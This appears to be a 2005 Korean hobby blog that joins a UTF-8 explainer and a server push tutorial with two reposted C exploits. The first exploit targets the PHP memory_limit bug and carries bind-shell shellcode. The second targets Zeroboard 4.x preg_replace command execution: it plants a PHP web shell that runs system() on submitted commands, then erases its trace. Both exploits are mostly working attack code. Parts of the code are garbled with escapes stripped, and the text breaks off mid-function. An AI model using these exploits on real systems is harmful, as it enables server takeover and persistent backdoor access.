2005. 11. 15. 12:19

UTF-8

Hobby/Computer
UTF-8은 모든 Unicode 문자를 1바이트에서 4바이트까지 가변폭 바이트 스트림으로 인코딩한다.
6바이트가 아님. ISO JTC1/SC2/WG2는 공식적으로 ISO 10646에서 UTF-16으로 표현 가능한 상한선인 U+10FFFF를 넘는 범위에 문자를 배정하지 않으리라고 결정했고, Unicode Technical Committee는 그에 앞서 같은 결정을 내렸다.


하나의 Unicode 문자를 몇 바이트로 인코딩할지는 해당 글자에 할당된 코드값 (Unicode Scalar Value)에 따라 결정할 수 있다. U+007F까지는 1 바이트, U+0080에서 U+07FF까지는 2 바이트, U+0800에서 U+FFFF까지는 3 바이트, U+10000에서 U+10FFFF까지는 4 바이트를 쓴다. 따라서 US-ASCII에 속하는 문자는 U+0000 (NULL)을 포함해서 UTF-8에서는 한 바이트로 표현할 수 있다. 이 특성은 US-ASCII와 호환성을 유지해야 하는 유닉스 파일 시스템1, SMTP (인터넷 메일)를 비롯한 텍스트 기반인 여러 인터넷 프로토콜에서 쓰기에 적합하다.

Unicode를 인코딩하는 방법으로는 UTF-7, UTF-8, UTF-16, UTF-32 등 여러 가지 방법이 있다.
TeX에서는 주로 UTF-8을 사용하는데, CJK 문자는 U+0800 이후에 할당되어 있으므로 UTF-8에서 3 바이트를 써서 나타내야 한다. 반면에 UTF-16을 쓸 경우에는 CJK 글자를 포함해서 모든 BMP (Basic Multilingual Plane : Unicode 중 처음 65,536 코드 포인트)에 속하는 글자는 2 바이트로 나타낸다. 이런 이유로 UTF-16을 선호하는 경우가 있으나 (UTF-8이 UTF-16에 비해 최대 1.5배 더 많은 저장 공간/송신 시간을 요하므로) US-ASCII와의 호환성은 많은 경우에 대단히 중요하므로, Unix(Mac OS X)와 ?BeOS 등은 텍스트 형식과 그와 유사한 형식에서 UTF-8을 주로 쓴다. 같은 이유로 TeX/Omega에서도 UTF-8을 주로 쓴다. 반면에 Win32에서는 텍스트 문서 형식도 기본으로는 UTF-16을 사용한다.


텍스트 형식과 OS나 프로그램 혹은 라이브러리 내부에서 어떤 인코딩을 쓰느냐는 별개의 문제이다. Linux glibc는 UTF-32를 쓰고, Mac OS X, Win32, Omega, ICU (International Component for Unicode), Java, ECMAscript2, Mozilla 등은 UTF-16을 쓰고, ?BeOS, glib, Perl 등은 UTF-8을 쓴다. Python은 UTF-32 혹은 UCS-2 (2byte 혹은 4byte를 쓰는 가변폭 인코딩인 UTF-16과 달리 UCS-2는 2byte 고정폭 인코딩으로 오직 BMP만 지원할 수 있다.)를 쓰도록 컴파일할 수 있다.
UTF-32는 가변폭 인코딩인 UTF-16을 다루는데서 오는 불편함3을 피할 수 있는 반면에 UTF-8에 비해 최대 4배의 공간(US-ASCII에 속하는 글자라면)을, UTF-16에 비해서도 최대 2배 (BMP에 속하는 글자의 경우)의 공간을 쓴다는 단점이 있다.

IETF RFC :
http://www.cse.ohio-state.edu/cgi-bin/rfc/rfc2279.html

UTF-8, UTF-16, UTF-32 & BOM :
http://www.unicode.org/unicode/faq/utf_bom.html


옛날엔 UTF-8은 1byte or 3byte 인줄 알았는데 -_-;;

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2005. 11. 15. 11:15

PHP memory_limit Exploit Code

Hobby/Computer
Vulnerable Systems:
 * PHP 4 version 4.3.7 and prior
 * PHP 5 version 5.0RC3 and prior

Exploit:
/* Remote exploit for the php memory_limit vulnerability found by Stefan
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 *
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 *
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ...
 *
 * Vulnerability:
 * The issue is well documented in the advisory.
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the
 * zend_hash_destory function.
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On
 *
 * Gyan
 *
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=------------ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ";

char request2[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
" "
"-----------------------------264122487026375-- ";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
"-----------------------------264122487026375-- ";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket ");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect() ");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed ");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
  if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed ");
               exit(-1);
        }
}

char fill[] = " %s ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy.
 * We set
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>: call *%eax
 * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
         char *p1, *p2;
         char *b1, *b2;
         int i;
  int pot = 0xffffffff;
  int got = 0x41414141;
  int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
  int sot = 0x02020202;
  int ret = 0x081887a8;

  b1 = (char *)malloc(size-8);
                p1 = b1;

  for (i=0; i<size-8; i+=36)
  {
  *( (int **)p1 ) = (int *)( pot );
  p1+=4;
  *( (int **)p1 ) = (int *)( got );
  p1+=4;
  *( (int **)p1 ) = (int *)( bot );
  p1+=4;
  *( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
  *( (int **)p1 ) = (int *)( got );
         p1+=4;
         *( (int **)p1 ) = (int *)( bot );
         p1+=4;
  *( (int **)p1 ) = (int *)( sot );
  p1+=4;
  }

         b2 = (char *)malloc(size+1);
         p2 = b2;

  sprintf(p2, fill, b1);

         for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, 'x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
 return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

        b1 = (char *)malloc(size-8);
               p1 = b1;
  
          for (i=0; i<size-8-strlen(shell); i+=4) {
         *( (int **)p1 ) = (int *)( pot );
                 p1+=4;
                }
   p1 = b1;

  p1+= size - 8 - strlen(shell);
  strncpy(p1, shell, strlen(shell));
              
               b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
                 xp_write(b2);
       }
        


void exploit()
{

 int i;
 
 printf("Stage 1: Filling mem with bad pdestructor ... ");
 for (i=0; i< 5; i++)
 {
        xp_connect(IP);
            xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
      close(sock);
 }
 printf("DONE ");
 printf("Stage 2: Triggering memory_limit now ... ");
  
 xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
 printf("DONE ");
 printf("Shell on port 36864 ");
 
}

main()
{
 /*No args, no vectors*/
 exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

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Server Push

Hobby/Computer
1995년 네스케잎사의 몇몇 사람들이 multipart/mixed MIME 형식을 조작해서 웹에서 애니메이션을 표현할 수 있는 방법을 생각해 냈는데, 이 것이 서버푸쉬이다. 이 새로운 MIME 형식은 multipart/x-mixed-replace이다. x는 이것이 공식적인 MIME 명세가 아닌 추가적인 형식이라는 것을 의미한다. 이 MIME의 핵심은 replace 부분이다.

즉, 이것은 많은 형식을 가진 하나의 메시지가 아니라, 모두 같은 형식을 가진 많은 분리된 메시지라는 것을 의미하며, 하나의 메시지는 다음 메시지로 대치(replace)된다는 것을 의미한다.

예를들어 gif 이미지와 같은 것을 이 MIME 형식에 적용하면 하나의 GIF를 표시하고 다음에 다른 GIF가 그것을 대치하고 계속해서 여러 개의 GIF 파일을 이와 같은 방법으로 대치할 수 있으며, 이것으로서 간단한 애니메이션을 웹에 구현할 수 있다.

서버푸쉬는 웹에 간단한 애니메이션을 나타내기위해서 처음으로 사용한 방법이지만 네트웍의 속도와 다른 여러 가지 이유 때문에 부드러운 애니메이션을 구현하기 힘들다.

더욱이 오늘날에는 자바와 GIF89a의 등장으로 애니메이션을 구현하기위한 서버 푸쉬로서의 의미는 잃었지만 클라이언트와의 연결을 유지하면서 서버측의 정보를 전송할 수 있기 때문에 아직도 많은 곳에서 사용된다.

동작원리

multipart/x-mixed-replace MIME 형식은 다음과 같은 형식을 갖지며, CGI가 다음과 같은 형식의 문서를 출력하면 서버 푸쉬를 지원하는 서버는 이 CGI의 출력을 여러개의 문서로 처리해 준다.

1: Content-type: multipart/x-mixed-replace;boundary=TestBoundary
2:
3: --TestBoundary
4: Content-type: text/plain
5:
6: first document
7:
8: --TestBoundary
9: Content-type: text/html
10:
11: <html>
12: <body>
13: second document
14: </body>
15: </html>
16:
17: --TestBoundary--

multipart/x-mixed-replace
"multipart"는 MIME 형식중 복합문서를, "x-mixed-replace"는 복합문서중에서도 서버 밀기에 이용되는 문서형식임을 나타낸다. 앞의 "x-"는 아직 정식으로 표준화되지 않은 형식임을 나타낸다.

boundary
복합문서내의 각 문서들을 구별하는 분리자(delimeter)를 지정한다. 이 분리자는 문서내에 나타나지 않는 문자열을 이용하여야 한다. NCSA HTTPD에서는 boundary앞에 공백이 오면 안된다.

--boundary
분리자 앞에 "--"를 덧붙여서 다음 문서의 시작을 표시한다.

--boundary--
분리자의 앞뒤에 --를 덧붙여서 문서의 끝은 나타낸다.

간단한 예

다음은 1~50까지 숫자를 카운트하는 프로그램이다. CGI의 출력이 시스템 버퍼를 경유하지 않도록 $!=1;을 사용하였다.
또한 정확히 지정한 시간 후에 출력이 되도록 select 함수를 이용해서 delay 함수를 구현하였다.

1 : #! /usr/local/bin/perl
2 : $| = 1;
3 : print "content-type: multipart/x-mixed-replace;boundary=aaa ";
4 : for($i = 1; $i <= 50; $i++)
5 : {
6 : print "--aaa ";
7 : print "content-type: text/html ";
8 : print &html($i);
9 : &delay(1);
10 : }
11 : print "--aaa-- ";
12 :
13 : sub html {
14 : my($i) = @_;
15 : my($html) =<<Push;
16 : <html>
17 : <body>
18 : <head>
19 : <title>Server Push예</title>
20 : </head>
21 : <body>
22 : <span style="font-size: ${i}0px;color: #${i}0${i}0${i}0;
text-align: center"> $i</span>
23 : </body>
24 : </html>
25 : Push
26 : }
27 : sub delay {
28 : select (undef,undef,undef,$_[0]);
29 : return;
30 : }


몇년 전 서비스화 하다가 3번인가 실패한적이 있는 서버 푸쉬.
내 짧은 인생의 몇 안되는 실패작이 서버 푸쉬로 부터 나왔다..
기술 자체는 매우 쉽지만, 클라이언트 끼리 통신 부분이 어려웠었다
나름대로의 내게 교훈을 줬던 기술이였다
아직까지도 내게 남아있는 숙제이기도하다 '-'.. // 언제할려나-_-

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Zeroboard 4.x "preg_replace" Remote Command Execution Exploit

Hobby/Computer
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit
Date : 31/05/2005




/*
*
----------------------------------------------------------------------------------
[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
----------------------------------------------------------------------------------

> by n0gada (n0gada@null2root.org)

[*] date : 2005/5/29

[*] the bug

Original advisory:
- http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php

Application
- Zeroboard 4.1 pl2 - 4.1 pl5

Reference:
- http://www.nzeo.com

[*] Target - My test server

$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test

[+] xxx.xxx.xxx connecting ok!
[+] Zeroboard writing . ok!
[+] Confirmming your article - found!
[+] Exploiting zeroboard start ............................... Done!
[*] Confirmming your backdoor php script -
http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
[+] Exploiting success!!
[*] Remove your article - ok! :)

------------------------------------------------------------------------------
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>


#define BUFSIZE 4096
#define READSIZE 1500

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void WriteZboard(void);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void DeleteArticle(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];


int main(int argc, char *argv[]){

if(argc < 2) Usage(argv[0]);

if(argc > 2) zb_port = atoi(argv[2]);
else zb_port = 80;

// http://host/bbs/zboard.php?id=test

ParseZbHost(argv[1]);

ConnectZboard(zb_host, zb_port);

WriteZboard();

ExploitZboard();

ConfirmPHPScript();

DeleteArticle();
}

void ParseZbHost(char *zbhost)
{
char *psbuf;
char *sptr=NULL;
char *eptr=NULL;

psbuf = malloc(strlen(zbhost)+1);

strcpy(psbuf, zbhost);

if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need
", 0);

zb_host = sptr+7;

sptr = strchr(zb_host, '/');
sptr[0] = ' ';
sptr++;

if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr(""zboard.php?id="
need
", 0);

zb_tid = eptr+14;

eptr--;
eptr[0] = ' ';

zb_dir = sptr;

fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s
", zb_host, zb_dir,
zb_tid);
fflush(stdout);
}


void ConnectZboard(char *server, unsigned short port)
{

struct sockaddr_in serv;
struct hostent *hostname;

if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);

memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);

if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
OutputErr("connect", 1);

if(!reconn) fprintf(stdout,"
[+] %s connecting ok!
", server);
else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!
", server);
fflush(stdout);

reconn = 0;
}

void WriteZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
int i = 0;
int cnt=0;
char *tmp_ptr, *ptr;
char form_data[BUFSIZE];

memset(form_data, 0, sizeof(form_data));
sprintf(form_data,
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="page"
"
"
"
"1
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="id"
"
"
"
"%s
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="no"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="select_arrange"
"
"
"
"headnum
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="desc"
"
"
"
"asc
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="page_num"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="keyword"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="category"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="sn"
"
"
"
"off
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="ss"
"
"
"
"on
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="sc"
"
"
"
"on
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="mode"
"
"
"
"write
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="password"
"
"
"
"1212
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="name"
"
"
"
"zero
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="email"
"
"
"
"zero@nzeo.com
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="homepage"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="subject"
"
"
"
"zero@nzeo.com hi~!
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="memo"
"
"
"
"`mv data/%s/d214924151d9e1ffac5bb2258561031e
data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103
"
//"-----------------------------8ac34985126d8
"
//"Content-Disposition: form-data; name="sitelink1"
"
//"
"
//"
"
//"-----------------------------8ac34985126d8
"
//"Content-Disposition: form-data; name="sitelink2"
"
//"
"
//"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="file1";
filename="d214924151d9e1ffac5bb2258561031e"
"
"Content-Type: text/plain
"
"
"
"<?
if(count($_GET)) extract($_GET);
if(count($_POST)) extract($_POST);
if(count($_SERVER)) extract($_SERVER);
echo "<form action=$PHP_SELF method=post>
command : <input type=text name=cmd>
<input type=submit></form><hr>";
if($cmd){
$cmd = str_replace("\", "", $cmd);
echo "<pre>"; system($cmd); echo "</pre>";
}
?>
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="file2"; filename=""
"
"Content-Type: application/octet-stream
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="x"
"
"
"
"36
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="y"
"
"
"
"11
"
"-----------------------------8ac34985126d8--
"
, zb_tid, zb_tid, zb_tid);



memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"POST /%s/write_ok.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
mode=write&sn1=&divpage=1
"
"Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Content-Length: %d
"
"Connection: Keep-Alive
"
"Cache-Control: no-cache
"
"
""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);

fprintf(stdout, " [+] Zeroboard writing ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

if(i!=0xb33f) StatusProcess();

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+17, "Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" failed!(Bad Request)
", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err == 0){

if(strstr(ReadBuf,"<meta http-equiv="refresh" content="0; url=zboard.php?id="))
{
fprintf(stdout, " ok!
");
fflush(stdout);

fprintf(stdout," [+] Confirmming your article");
fflush(stdout);

if(tmp_ptr = strstr(ReadBuf+18, "url=")) {

ptr = tmp_ptr+4;
if(ptr != NULL){
if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = ' ';
}
}
if(ptr = strstr(ReadBuf,"=&no=")){
ptr += 5;
memset(no, 0, sizeof(no));
for(i=0; i<16; i++){
if(ptr[i] == '&') break;
no[i] = ptr[i];
}
}
if(strlen(no) > 0){
fprintf(stdout," - found!
");
fflush(stdout);
return;
}
else {
OutputErr(" - failed!(not writed!?!)
", 0);
}
}
else {
if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"x30x0dx0ax0dx0a")) break;
}
}
else {
OutputErr("err number error
", 0);
}
}
}

fprintf(stderr, " error!
");

}

void ExploitZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
, zb_dir, zb_tid);

memcpy(WriteBuf+strlen(WriteBuf), "x25x30x30", 3);

sprintf(WriteBuf+strlen(WriteBuf),
"&select_arrange=headnum&desc=asc&no=%s HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/zboard.php
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Connection: Keep-Alive
"
"
", no, zb_host, zb_dir, zb_host);

fprintf(stdout, " [+] Exploiting zeroboard start ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

StatusProcess();

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){

if(strstr(ReadBuf,"Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" failed!(Bad Request)
", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err >= 0){

if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "x30x0dx0ax0dx0a")){
fprintf(stdout," Done!
");
fflush(stdout);
return;
}

}

}
}

fprintf(stderr," error!
");

}

void ConfirmPHPScript(void)
{
fd_set fds;
struct timeval tv;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"GET /%s/data/%s/shell.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/zboard.php
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Connection: Keep-Alive
"
"
", zb_dir, zb_tid, zb_host, zb_dir, zb_host);

fprintf(stdout, " [*] Confirmming your backdoor php script");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;


FD_ZERO(&fds);

for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf,"Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!

[+] Exploiting success!!
", zb_host, zb_dir, zb_tid);
fflush(stdout);
return;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" - page not found
- 'mv' instruction permission denied.

- zeroboard was patched.
"
" [-] Exploit failed!
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" - Bad Request
"
" [-] Exploit failed!
", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}


}
}

fprintf(stderr," error!
");
}


void DeleteArticle(void)
{
fd_set fds;
struct timeval tv;
char post_data[BUFSIZ];


if(reconn == 1) ConnectZboard(zb_host, zb_port);

sprintf(post_data,
"page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&
category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9
", zb_tid, no);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"POST /%s/delete_ok.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s
"
"Content-Type: application/x-www-form-urlencoded
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Content-Length: %d
"
"Connection: close
"
"Cache-Control: no-cache
"
"
"
"%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);


fprintf(stdout, " [*] Remove your article ");
fflush(stdout);

